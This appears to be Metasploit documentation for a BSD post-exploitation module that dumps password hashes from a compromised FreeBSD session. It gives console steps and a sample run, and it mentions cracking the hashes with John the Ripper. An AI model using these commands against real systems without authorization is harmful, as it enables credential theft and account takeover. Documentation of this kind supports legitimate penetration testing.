Verification Steps

  1. Start msfconsole

  2. Get a session via exploit of your choice

  3. Do: use post/bsd/gather/hashdump

  4. Do: set session <session>

  5. Do: run

  6. You should see password hashes

Options

SESSION

Which session to use, which can be viewed with sessions -l

Scenarios

FreeBSD 11.1-RELEASE-i386

msf5 > use post/bsd/gather/hashdump 
msf5 post(bsd/gather/hashdump) > set session 1
session => 1
msf5 post(bsd/gather/hashdump) > set verbose true
verbose => true
msf5 post(bsd/gather/hashdump) > run

Crack Hashes (John the Ripper)

The stored file can then have a password cracker used against it. In this scenario, we'll use john (the ripper).
